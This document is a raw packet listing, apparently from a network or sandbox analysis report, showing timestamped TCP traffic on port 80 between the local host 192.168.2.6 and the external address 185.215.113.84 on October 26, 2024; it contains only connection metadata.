Oct 26, 2024 07:27:11.200118065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200120926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200136900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200140953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200158119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200161934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200172901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200172901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200190067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200193882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200206041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200212955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200222969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200232983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200247049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200248003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200267076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200272083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200282097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200282097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200305939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200313091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200324059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200336933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200350046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200352907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200367928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200376034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200392962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200392962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200402021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200409889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200427055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200431108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200445890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200449944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200467110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200468063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200480938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200486898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200504065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200505018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200520992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200520992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200536013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200545073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200551987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200562000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200567007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200577021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200583935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200598955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200607061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200613022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200623989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200632095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200647116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200649977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200663090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200670004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200681925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200686932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200702906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200705051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200716019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200733900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200737953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200748920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200757027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200764894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200773954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200782061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200793028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200797081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200809002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200813055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200825930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200829029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200838089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200848103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200866938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200870991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200872898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200889111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200892925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200905085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200911999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200922012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200927019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200938940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200948000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200958014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.200967073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200979948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200997114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.200998068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201023102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201045036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201059103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201061964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201075077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201083899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201092005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201107025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201109886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201122046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201134920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201136112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201152086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201163054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201168060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201181889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201191902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201205015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201206923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201219082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201231956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201234102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201248884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201250076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201272011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201275110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201292038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201296091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201306105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201319933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201329947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201339006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201344013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201355934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201360941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201370001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201380014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201389074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201395988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201406002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201411009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201422930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201426983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201433897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201442957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201452971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201457024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201472044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201474905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201481104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201492071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201500893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201508045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201519012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201533079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201550007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201569080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201592922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201611042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201626062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201633930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201642036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201654911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201659918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201670885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201678991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201702118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201721907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201756954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201770067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201792002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201792955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201808929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201812029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201826096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.201831102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201839924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.201864958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.202112913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.202136040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.202150106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.202181101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.202202082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231116056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231132030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231156111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231169939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231187105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231185913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231232882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231235027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231251001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231273890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231282949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231306076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231327057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231339931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231355906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231373072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231379986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231388092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231389999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231415987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231426954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231430054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231441021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231457949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231463909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231472969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231476068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231487036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231498003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231508970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231518030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231527090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231534958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231539011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231550932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231554985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231571913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231578112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231587887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231591940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231606007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231615067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231616974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231623888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231626034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231631041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231637001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231638908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231653929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231662989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231671095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231690884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231693029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231699944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231704950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231714010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231714010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231720924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231740952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231748104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231751919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231756926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231775999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231806040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231825113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231839895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231853962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231878996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231894970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.231962919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231978893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.231992960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232001066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232018948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232063055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232079029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232094049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232105970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232116938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232139111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232326031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232366085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232374907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232391119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232412100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232424974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232433081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232440948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232481003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232641935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232656956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232681036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232696056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232697010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232713938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232721090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232737064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232743025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232753038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232763052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232768059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232773066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232790947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232795954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232806921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232812881 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232821941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232835054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232839108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232846975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232870102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232878923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232897997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232913017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232928038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232937098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232950926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232969046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.232973099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.232986927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233000040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233010054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233022928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233035088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233037949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233053923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233061075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233069897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233083963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233088970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233104944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233105898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233122110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233125925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233138084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233153105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233163118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233177900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233179092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233194113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233202934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233206987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233228922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233228922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233241081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233268023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233295918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233311892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233325958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233342886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233352900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233356953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233371973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233371973 CEST	49991	80	192.168.2.6	185.215.113.84
